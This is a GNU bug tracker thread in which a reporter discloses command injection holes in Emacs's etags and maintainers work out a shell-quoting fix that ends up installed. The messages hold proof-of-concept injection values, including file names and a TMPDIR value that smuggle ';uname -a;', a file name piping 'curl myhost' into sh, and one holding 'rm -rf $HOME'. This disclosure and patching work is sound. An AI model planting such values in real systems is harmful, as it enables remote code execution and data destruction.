GNU bug report logs - #59817
[PATCH] Fix etags local command injection vulnerability

Previous Next

Package: emacs;

Reported by: lux <lx <at> shellcodes.org>

Date: Sun, 4 Dec 2022 13:52:01 UTC

Severity: normal

Tags: patch

Done: Eli Zaretskii <eliz <at> gnu.org>

Bug is archived. No further changes may be made.

To add a comment to this bug, you must first unarchive it, by sending
a message to control AT debbugs.gnu.org, with unarchive 59817 in the body.
You can then email your comments to 59817 AT debbugs.gnu.org in the normal way.

Toggle the display of automated, internal messages from the tracker.

View this report as an mbox folder, status mbox, maintainer mbox


Report forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Sun, 04 Dec 2022 13:52:01 GMT) Full text and rfc822 format available.

Acknowledgement sent to lux <lx <at> shellcodes.org>:
New bug report received and forwarded. Copy sent to bug-gnu-emacs <at> gnu.org. (Sun, 04 Dec 2022 13:52:01 GMT) Full text and rfc822 format available.

Message #5 received at submit <at> debbugs.gnu.org (full text, mbox):

From: lux <lx <at> shellcodes.org>
To: bug-gnu-emacs <at> gnu.org
Subject: [PATCH] Fix etags local command injection vulnerability
Date: Sun, 4 Dec 2022 21:51:13 +0800
[Message part 1 (text/plain, inline)]
Hi, this patch fix a new local command injection vulnerability in the
etags.c.

This vulnerability occurs in the following code:

	#if MSDOS || defined (DOS_NT)
		 char *cmd1 = concat (compr->command, " \"", real_name);
		 char *cmd = concat (cmd1, "\" > ", tmp_name);
	#else
		 char *cmd1 = concat (compr->command, " '", real_name);
		 char *cmd = concat (cmd1, "' > ", tmp_name);
	#endif
		 free (cmd1);
		 inf = (system (cmd) == -1
		        ? NULL
		        : fopen (tmp_name, "r" FOPEN_BINARY));
		 free (cmd);
	       }

Vulnerability #1:

for tmp_name variable, the value from the etags_mktmp() function, this
function takes the value from the environment variable `TMPDIR`, `TEMP`
or `TMP`, but without checking the value. So, if then hacker can
control these environment variables, can execute the shell code.

Attack example:

$ ls
etags.c
$ zip etags.z etags.c
  adding: etags.c (deflated 72%)
$ tmpdir="/tmp/;uname -a;/"
$ mkdir $tmpdir
$ TMPDIR=$tmpdir etags *
sh: line 1: /tmp/: Is a directory
Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: /etECggCJ:
No such file or directory etags: skipping inclusion of TAGS in self.

Vulnerability #2:

If the target file is a compressed file, execute system commands (such
as gzip, etc.), but do not check the file name. 

Attack example:

$ ls
etags.c
$ zip "';uname -a;'test.z" etags.c  <--- inject the shell code to
filename
adding: etags.c (deflated 72%)
$ etags *
gzip: .gz: No such file or directory
Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: test.z:
command not found

I fix this vulnerability. By create a process, instead of call the
sh or cmd.exe, and this patch work the Linux, BSD and Windows.
[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]

Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Sun, 04 Dec 2022 14:40:02 GMT) Full text and rfc822 format available.

Message #8 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: lux <lx <at> shellcodes.org>
Cc: 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Sun, 04 Dec 2022 16:39:10 +0200
> Date: Sun, 4 Dec 2022 21:51:13 +0800
> From: lux <lx <at> shellcodes.org>
> 
> Hi, this patch fix a new local command injection vulnerability in the
> etags.c.
> 
> This vulnerability occurs in the following code:
> 
> 	#if MSDOS || defined (DOS_NT)
> 		 char *cmd1 = concat (compr->command, " \"", real_name);
> 		 char *cmd = concat (cmd1, "\" > ", tmp_name);
> 	#else
> 		 char *cmd1 = concat (compr->command, " '", real_name);
> 		 char *cmd = concat (cmd1, "' > ", tmp_name);
> 	#endif
> 		 free (cmd1);
> 		 inf = (system (cmd) == -1
> 		        ? NULL
> 		        : fopen (tmp_name, "r" FOPEN_BINARY));
> 		 free (cmd);
> 	       }
> 
> Vulnerability #1:
> 
> for tmp_name variable, the value from the etags_mktmp() function, this
> function takes the value from the environment variable `TMPDIR`, `TEMP`
> or `TMP`, but without checking the value. So, if then hacker can
> control these environment variables, can execute the shell code.
> 
> Attack example:
> 
> $ ls
> etags.c
> $ zip etags.z etags.c
>   adding: etags.c (deflated 72%)
> $ tmpdir="/tmp/;uname -a;/"
> $ mkdir $tmpdir
> $ TMPDIR=$tmpdir etags *
> sh: line 1: /tmp/: Is a directory
> Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
> 16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: /etECggCJ:
> No such file or directory etags: skipping inclusion of TAGS in self.
> 
> Vulnerability #2:
> 
> If the target file is a compressed file, execute system commands (such
> as gzip, etc.), but do not check the file name. 
> 
> Attack example:
> 
> $ ls
> etags.c
> $ zip "';uname -a;'test.z" etags.c  <--- inject the shell code to
> filename
> adding: etags.c (deflated 72%)
> $ etags *
> gzip: .gz: No such file or directory
> Linux mypc 6.0.10-300.fc37.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Nov 26
> 16:55:13 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux sh: line 1: test.z:
> command not found
> 
> I fix this vulnerability. By create a process, instead of call the
> sh or cmd.exe, and this patch work the Linux, BSD and Windows.

Thanks, but no, thanks.  This cure is worse than the disease.  Let's please
find simpler, more robust solutions.  It TMPDIR is a problem, let's use a
file whose name is hard-coded in the etags.c source, or quote the name when
we pass it to the shell.  If we suspect someone could disguise shell
commands as file names, let's quote the file names we pass to the shell with
'...' to prevent that.  Etc. etc. -- let's use simple solutions that don't
drastically change the code.

Please understand: etags is a stable program.  I'm not interested in changes
that modify its design or implementation in such drastic ways.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Sun, 04 Dec 2022 16:28:01 GMT) Full text and rfc822 format available.

Message #11 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Stefan Kangas <stefankangas <at> gmail.com>
To: Eli Zaretskii <eliz <at> gnu.org>, lux <lx <at> shellcodes.org>
Cc: 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Sun, 4 Dec 2022 08:27:14 -0800
Eli Zaretskii <eliz <at> gnu.org> writes:

> Thanks, but no, thanks.  This cure is worse than the disease.  Let's please
> find simpler, more robust solutions.  It TMPDIR is a problem, let's use a
> file whose name is hard-coded in the etags.c source, or quote the name when
> we pass it to the shell.  If we suspect someone could disguise shell
> commands as file names, let's quote the file names we pass to the shell with
> '...' to prevent that.  Etc. etc. -- let's use simple solutions that don't
> drastically change the code.

With single quotes, every single quote character also needs to be quoted
so you can't just use a file named "';rm -rf $HOME;'".

So you need to substitute every single quote character with something like

    ' => '"'"'

I'm not sure if tricks to escape it will remain, but "man sh" promises:

   Single Quotes
     Enclosing characters in single quotes preserves the literal meaning
     of all the characters (except single quotes, making it impossible
     to put single-quotes in a single-quoted string).

The safest option is to just not call system, of course.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Sun, 04 Dec 2022 17:05:02 GMT) Full text and rfc822 format available.

Message #14 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: Stefan Kangas <stefankangas <at> gmail.com>
Cc: lx <at> shellcodes.org, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Sun, 04 Dec 2022 19:04:15 +0200
> From: Stefan Kangas <stefankangas <at> gmail.com>
> Date: Sun, 4 Dec 2022 08:27:14 -0800
> Cc: 59817 <at> debbugs.gnu.org
> 
> Eli Zaretskii <eliz <at> gnu.org> writes:
> 
> > Thanks, but no, thanks.  This cure is worse than the disease.  Let's please
> > find simpler, more robust solutions.  It TMPDIR is a problem, let's use a
> > file whose name is hard-coded in the etags.c source, or quote the name when
> > we pass it to the shell.  If we suspect someone could disguise shell
> > commands as file names, let's quote the file names we pass to the shell with
> > '...' to prevent that.  Etc. etc. -- let's use simple solutions that don't
> > drastically change the code.
> 
> With single quotes, every single quote character also needs to be quoted
> so you can't just use a file named "';rm -rf $HOME;'".

Yes.  But still, doing so is hardly rocket science, and it leaves the
general design of etags.c intact.

> The safest option is to just not call system, of course.

I'd rather not go there unless it was really necessary.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Mon, 05 Dec 2022 00:59:01 GMT) Full text and rfc822 format available.

Message #17 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: "lux" <lx <at> shellcodes.org>
To: "Eli Zaretskii" <eliz <at> gnu.org>
Cc: 59817 <59817 <at> debbugs.gnu.org>
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Mon, 5 Dec 2022 08:58:13 +0800
[Message part 1 (text/plain, inline)]
&gt; Please understand: etags is a stable program.&nbsp; I'm not interested in
&gt; changes that modify its design or implementation in such drastic ways.

I understand, but not completely agree, stable != security.

Why use the system() function? This is a lazy, insecure little trick,
the exec*(such as execvp) function should be used first. We need
execute a command, but we don't need execute a shell script.

Example a case, In my team, some people like automatically pull new
code from code server, and use etags update tags, so I secretly uploaded
a new file, the file name is:

$ touch "';curl myhost|sh #'a.z"

when he automatically update the tags, I hacking his computer.

So, I have two suggestions:

1. don't use system(), unless know what are doing.

2. escape all dangerous characters, just escaping quotes is not
enough, the following characters can perform additional actions:

"$(ls)"
"`ls`"
"${SHELL}"
"$SHELL"

I'm writing a new patch to escape dangerous characters, and test.

Thanks.
[Message part 2 (text/html, inline)]

Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Mon, 05 Dec 2022 12:36:02 GMT) Full text and rfc822 format available.

Message #20 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: lux <lx <at> shellcodes.org>
Cc: Stefan Kangas <stefankangas <at> gmail.com>, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Mon, 05 Dec 2022 14:34:58 +0200
[Please use Reply All to keep the bug tracker CC'ed.]

> Date: Mon, 5 Dec 2022 08:56:43 +0800
> From: lux <lx <at> shellcodes.org>
> 
> > Please understand: etags is a stable program.  I'm not interested in
> > changes that modify its design or implementation in such drastic ways.
> 
> I understand, but not completely agree, stable != security.

There are ways to plug the security holes in this case without completely
rewriting large parts of the code.

> Why use the system() function? This is a lazy, insecure little trick,
> the exec*(such as execvp) function should be used first. We need
> execute a command, but we don't need execute a shell script.

I think you have a very idealized view of the alternative APIs.  They don't
share some disadvantages with 'system', but they have plenty of their own
ones.  Especially on non-Posix systems.

> Example a case, In my team, some people like automatically pull new
> code from code server, and use etags update tags, so I secretly uploaded
> a new file, the file name is:
> 
> $ touch "';curl myhost|sh #'a.z"
> 
> when he automatically update the tags, I hacking his computer.

Quoting should fix that.

> So, I have two suggestions:
> 
> 1. don't use system(), unless know what are doing.

I don't see a reason in this case to rewrite the code not to use 'system'.

> 2. escape all dangerous characters, just escaping quotes is not
> enough, the following characters can perform additional actions:
> 
> "$(ls)"
> "`ls`"
> "${SHELL}"
> "$SHELL"
> 
> I'm writing a new patch to escape dangerous characters, and test.

There's no reason to try detecting which characters are dangerous and which
aren't.  We should instead quote all the file names that come from outside
of the program, so that what's inside the quotes is interpreted verbatim.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 07:57:02 GMT) Full text and rfc822 format available.

Message #23 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: lux <lx <at> shellcodes.org>
To: Eli Zaretskii <eliz <at> gnu.org>
Cc: Stefan Kangas <stefankangas <at> gmail.com>, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 6 Dec 2022 15:48:10 +0800
[Message part 1 (text/plain, inline)]
On Mon, 05 Dec 2022 14:34:58 +0200
Eli Zaretskii <eliz <at> gnu.org> wrote:

> There's no reason to try detecting which characters are dangerous and
> which aren't.  We should instead quote all the file names that come
> from outside of the program, so that what's inside the quotes is
> interpreted verbatim.

Thanks, this is new patch.

[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]

Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 12:56:01 GMT) Full text and rfc822 format available.

Message #26 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: lux <lx <at> shellcodes.org>
Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 14:55:09 +0200
> Date: Tue, 6 Dec 2022 15:48:10 +0800
> From: lux <lx <at> shellcodes.org>
> Cc: Stefan Kangas <stefankangas <at> gmail.com>, 59817 <at> debbugs.gnu.org
> 
> @@ -1716,8 +1717,12 @@ process_file_name (char *file, language *lang)
>  	  char *cmd1 = concat (compr->command, " \"", real_name);
>  	  char *cmd = concat (cmd1, "\" > ", tmp_name);
>  #else
> -	  char *cmd1 = concat (compr->command, " '", real_name);
> -	  char *cmd = concat (cmd1, "' > ", tmp_name);
> +          char *new_real_name = escape_shell_arg_string (real_name);
> +          char *new_tmp_name = escape_shell_arg_string (tmp_name);
> +          char *cmd1 = concat (compr->command, " ", new_real_name);
> +          char *cmd = concat (cmd1, " > ", new_tmp_name);
> +          free (new_real_name);
> +          free (new_tmp_name);
>  #endif

The "MSDOS || DOS_NT" case also needs a small change:

>  	  char *cmd = concat (cmd1, "\" > ", tmp_name);

This doesn't quote tmp_name; it should.

> +static char*
             ^^
There should be a space before "*".

> +      if (*p == '\'')
> +        {
> +          new_str[i+1] = '\\';
> +          new_str[i+2] = '\'';
> +          new_str[i+3] = '\'';
> +          i += 3;

I don't understand why you are adding ''\'' and not just \'.  Wouldn't the
latter work for some reason?

Thanks.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 13:06:02 GMT) Full text and rfc822 format available.

Message #29 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Andreas Schwab <schwab <at> suse.de>
To: lux <lx <at> shellcodes.org>
Cc: Eli Zaretskii <eliz <at> gnu.org>, Stefan Kangas <stefankangas <at> gmail.com>,
 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 14:05:16 +0100
There is a shell_quote funtion in gnulib.

-- 
Andreas Schwab, SUSE Labs, schwab <at> suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 13:12:01 GMT) Full text and rfc822 format available.

Message #32 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: lux <lx <at> shellcodes.org>
To: Eli Zaretskii <eliz <at> gnu.org>
Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 6 Dec 2022 21:11:35 +0800
[Message part 1 (text/plain, inline)]
On Tue, 06 Dec 2022 14:55:09 +0200
Eli Zaretskii <eliz <at> gnu.org> wrote:

> The "MSDOS || DOS_NT" case also needs a small change:
> 
> >  	  char *cmd = concat (cmd1, "\" > ", tmp_name);  
> 
> This doesn't quote tmp_name; it should.

Because double quotes have been used here, I have not reproduced this
vulnerability in Windows, so I have not dealt:

$ touch "etags.c\" && ipconfig \".z"
$ ./etags.exe "etags.c\" && ipconfig \".z"
etags.c" && ipconfig ".z: Invalid argument
$ ./etags.exe *
etags.exe: skipping inclusion of TAGS in self.
etags.c" && ipconfig ".z: Invalid argument

> > +static char*  
>              ^^
> There should be a space before "*".

done.

> 
> > +      if (*p == '\'')
> > +        {
> > +          new_str[i+1] = '\\';
> > +          new_str[i+2] = '\'';
> > +          new_str[i+3] = '\'';
> > +          i += 3;  
> 
> I don't understand why you are adding ''\'' and not just \'.
> Wouldn't the latter work for some reason?
> 

Because the single quote escape is: '\''

$ echo ''\''hello world'\'''
'hello world'
$ echo 'I'\''m a poor man'
I'm a poor man


[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]

Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 14:34:02 GMT) Full text and rfc822 format available.

Message #35 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: Andreas Schwab <schwab <at> suse.de>
Cc: lx <at> shellcodes.org, stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 16:33:19 +0200
> From: Andreas Schwab <schwab <at> suse.de>
> Cc: Eli Zaretskii <eliz <at> gnu.org>,  Stefan Kangas <stefankangas <at> gmail.com>,
>   59817 <at> debbugs.gnu.org
> Date: Tue, 06 Dec 2022 14:05:16 +0100
> 
> There is a shell_quote funtion in gnulib.

I know.  But we don't import that module, AFAICT.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 14:54:02 GMT) Full text and rfc822 format available.

Message #38 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: lux <lx <at> shellcodes.org>
Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 16:52:40 +0200
> Date: Tue, 6 Dec 2022 21:11:35 +0800
> From: lux <lx <at> shellcodes.org>
> Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
> 
> On Tue, 06 Dec 2022 14:55:09 +0200
> Eli Zaretskii <eliz <at> gnu.org> wrote:
> 
> > The "MSDOS || DOS_NT" case also needs a small change:
> > 
> > >  	  char *cmd = concat (cmd1, "\" > ", tmp_name);  
> > 
> > This doesn't quote tmp_name; it should.
> 
> Because double quotes have been used here

The double quotes are only around real_name, but not around tmp_name.  One
of the issues you originally described was a bogus value of the TEMP
environment variable, which gets used in etags_mktmp that produces tmp_name.

> I have not reproduced this
> vulnerability in Windows, so I have not dealt:
> 
> $ touch "etags.c\" && ipconfig \".z"
> $ ./etags.exe "etags.c\" && ipconfig \".z"
> etags.c" && ipconfig ".z: Invalid argument

Windows file names cannot include quote characters, so don't use them.  And
it's TEMP value that you need to tweak, not the file names etags scans.

> > I don't understand why you are adding ''\'' and not just \'.
> > Wouldn't the latter work for some reason?
> > 
> 
> Because the single quote escape is: '\''
> 
> $ echo ''\''hello world'\'''
> 'hello world'
> $ echo 'I'\''m a poor man'
> I'm a poor man

I don't understand why you need an extra pair of quotes in the expanded
string.

  $ echo \''hello; world'
  'hello; world

As you see, the semi-colon was successfully hidden from the shell.

What am I missing?




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 15:07:01 GMT) Full text and rfc822 format available.

Message #41 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Francesco Potortì <pot <at> gnu.org>
To: Eli Zaretskii <eliz <at> gnu.org>
Cc: lux <lx <at> shellcodes.org>, 59817 <at> debbugs.gnu.org, stefankangas <at> gmail.com
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 16:05:59 +0100
>I don't understand why you need an extra pair of quotes in the expanded
>string.
>
>  $ echo \''hello; world'
>  'hello; world
>
>As you see, the semi-colon was successfully hidden from the shell.
>
>What am I missing?

That only works at the beginning or end of a string.  In general, inside a single-quoted string, single quotes are not allowed.  So, to include a single quote inside a single-quoted string, you have to:
- close the quoted string using '
- put a literal single quote usign \'
- reopen the quoted string using '

If you want to avoid checking for the special cases of a stray single string at beginning or end of the original string, you just quote everything qith a single quote at beginning and end, and then substitute each ' with '\''.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 15:20:01 GMT) Full text and rfc822 format available.

Message #44 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: Francesco Potortì <pot <at> gnu.org>
To: Eli Zaretskii <eliz <at> gnu.org>
Cc: lux <lx <at> shellcodes.org>, 59817 <at> debbugs.gnu.org, stefankangas <at> gmail.com
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 16:19:32 +0100
>I don't understand why you need an extra pair of quotes in the expanded
>string.
>
>  $ echo \''hello; world'
>  'hello; world
>
>As you see, the semi-colon was successfully hidden from the shell.
>
>What am I missing?

That only works at the beginning or end of a string.  In general, inside a single-quoted string, single quotes are not allowed.  So, to include a single quote inside a single-quoted string, you have to:
- close the quoted string using '
- put a literal single quote usign \'
- reopen the quoted string using '

If you want to avoid checking for the special cases of a stray single string at beginning or end of the original string, you just quote everything qith a single quote at beginning and end, and then substitute each ' with '\''.




Information forwarded to bug-gnu-emacs <at> gnu.org:
bug#59817; Package emacs. (Tue, 06 Dec 2022 15:50:02 GMT) Full text and rfc822 format available.

Message #47 received at 59817 <at> debbugs.gnu.org (full text, mbox):

From: lux <lx <at> shellcodes.org>
To: Eli Zaretskii <eliz <at> gnu.org>
Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 6 Dec 2022 23:49:05 +0800
[Message part 1 (text/plain, inline)]
On Tue, 06 Dec 2022 16:52:40 +0200
Eli Zaretskii <eliz <at> gnu.org> wrote:

> Windows file names cannot include quote characters, so don't use
> them.  And it's TEMP value that you need to tweak, not the file names
> etags scans.

Thank you, fixed.
 
> I don't understand why you need an extra pair of quotes in the
> expanded string.
> 
>   $ echo \''hello; world'
>   'hello; world
> 
> As you see, the semi-colon was successfully hidden from the shell.
> 
> What am I missing?

$ echo Emacs > "'hello'world"
$ cat '\''hello\''world'     <---- use \'', error
cat: '\hello\world': No such file or directory
$ cat ''\''hello'\''world'    <---- use '\''
Emacs

You can also refer to:

1.
https://stackoverflow.com/questions/48970174/escape-single-quote-in-command-argument-to-sh-c

2. And I found a similar function in PHP:

$ cat test.php
<?php
	echo escapeshellarg("'hello'world");

$ php test.php
''\''hello'\''world'
[0001-Fix-etags-local-command-injection-vulnerability.patch (text/x-patch, attachment)]

Reply sent to Eli Zaretskii <eliz <at> gnu.org>:
You have taken responsibility. (Tue, 06 Dec 2022 16:16:02 GMT) Full text and rfc822 format available.

Notification sent to lux <lx <at> shellcodes.org>:
bug acknowledged by developer. (Tue, 06 Dec 2022 16:16:02 GMT) Full text and rfc822 format available.

Message #52 received at 59817-done <at> debbugs.gnu.org (full text, mbox):

From: Eli Zaretskii <eliz <at> gnu.org>
To: lux <lx <at> shellcodes.org>
Cc: stefankangas <at> gmail.com, 59817-done <at> debbugs.gnu.org
Subject: Re: bug#59817: [PATCH] Fix etags local command injection vulnerability
Date: Tue, 06 Dec 2022 18:14:43 +0200
> Date: Tue, 6 Dec 2022 23:49:05 +0800
> From: lux <lx <at> shellcodes.org>
> Cc: stefankangas <at> gmail.com, 59817 <at> debbugs.gnu.org
> 
> >From d1dd12396b7d99ff93e6a846c96ae600addac847 Mon Sep 17 00:00:00 2001
> From: lu4nx <lx <at> shellcodes.org>
> Date: Tue, 6 Dec 2022 15:42:40 +0800
> Subject: [PATCH] Fix etags local command injection vulnerability
> 
> * lib-src/etags.c:
> 
> (escape_shell_arg_string): New function.

Thanks, installed with some minor changes.




bug archived. Request was from Debbugs Internal Request <help-debbugs <at> gnu.org> to internal_control <at> debbugs.gnu.org. (Wed, 04 Jan 2023 12:24:05 GMT) Full text and rfc822 format available.

This bug report was last modified 1 year and 85 days ago.

Previous Next


GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997,2003 nCipher Corporation Ltd, 1994-97 Ian Jackson.